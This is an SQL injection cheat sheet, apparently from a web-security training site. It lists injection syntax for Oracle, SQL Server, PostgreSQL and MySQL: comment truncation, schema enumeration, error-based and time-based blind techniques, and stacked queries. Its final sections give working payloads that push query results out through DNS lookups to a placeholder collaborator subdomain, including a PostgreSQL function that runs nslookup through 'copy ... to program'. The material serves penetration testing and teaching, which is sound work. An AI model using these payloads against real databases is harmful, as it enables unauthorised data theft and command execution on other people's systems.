SQL injection cheat sheet

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

String concatenation

You can concatenate together multiple strings to make a single string.

Oracle	`'foo'||'bar'`
Microsoft	`'foo'+'bar'`
PostgreSQL	`'foo'||'bar'`
MySQL	`'foo' 'bar'` [Note the space between the two strings] `CONCAT('foo','bar')`

Substring

You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string `ba` .

Oracle	`SUBSTR('foobar', 4, 2)`
Microsoft	`SUBSTRING('foobar', 4, 2)`
PostgreSQL	`SUBSTRING('foobar', 4, 2)`
MySQL	`SUBSTRING('foobar', 4, 2)`

Comments

You can use comments to truncate a query and remove the portion of the original query that follows your input.

Oracle	`--comment`
Microsoft	`--comment` `/*comment*/`
PostgreSQL	`--comment` `/*comment*/`

MySQL	`#comment`
	`-- comment` [Note the space after the double dash]
	`/*comment*/`

Database version

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

Oracle	`SELECT banner FROM v$version`
	`SELECT version FROM v$instance`

Microsoft	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

Database contents

You can list the tables that exist in the database, and the columns that those tables contain.

Oracle	`SELECT * FROM all_tables`
	`SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`

Microsoft	`SELECT * FROM information_schema.tables`
	`SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`

PostgreSQL	`SELECT * FROM information_schema.tables`
	`SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`

MySQL	`SELECT * FROM information_schema.tables`
	`SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`

Conditional errors

You can test a single boolean condition and trigger a database error if the condition is true.

Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`
Microsoft	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`
PostgreSQL	`1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)`

MySQL	`SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')`

Extracting data via visible error messages

You can potentially elicit error messages that leak sensitive data returned by your malicious query.

Microsoft	`SELECT 'foo' WHERE 1 = (SELECT 'secret')`
	`> Conversion failed when converting the varchar value 'secret' to data type int.`

PostgreSQL	`SELECT CAST((SELECT password FROM users LIMIT 1) AS int)`
	`> invalid input syntax for integer: "secret"`

MySQL	`SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))`
	`> XPATH syntax error: '\secret'`

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

Oracle	`Does not support batched queries.`

Microsoft	`QUERY-1-HERE; QUERY-2-HERE`
	`QUERY-1-HERE QUERY-2-HERE`

PostgreSQL	`QUERY-1-HERE; QUERY-2-HERE`
MySQL	`QUERY-1-HERE; QUERY-2-HERE`

Note

> With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.

Time delays

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

Oracle	`dbms_pipe.receive_message(('a'),10)`
Microsoft	`WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT pg_sleep(10)`
MySQL	`SELECT SLEEP(10)`

Conditional time delays

You can test a single boolean condition and trigger a time delay if the condition is true.

Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual`
Microsoft	`IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')`

DNS lookup

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the

Collaborator server to confirm that a DNS lookup occurred.

Oracle	(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:
	`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual`
	The following technique works on fully patched Oracle installations, but requires elevated privileges:
	`SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')`

Microsoft	`exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'`
PostgreSQL	`copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'`

MySQL	The following techniques work on Windows only:
	`LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')`
	`SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'`

DNS lookup with data exfiltration

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

Oracle	`SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual`
Microsoft	`declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')`

PostgreSQL

```
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
```

MySQL

The following technique works on Windows only:

```
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
```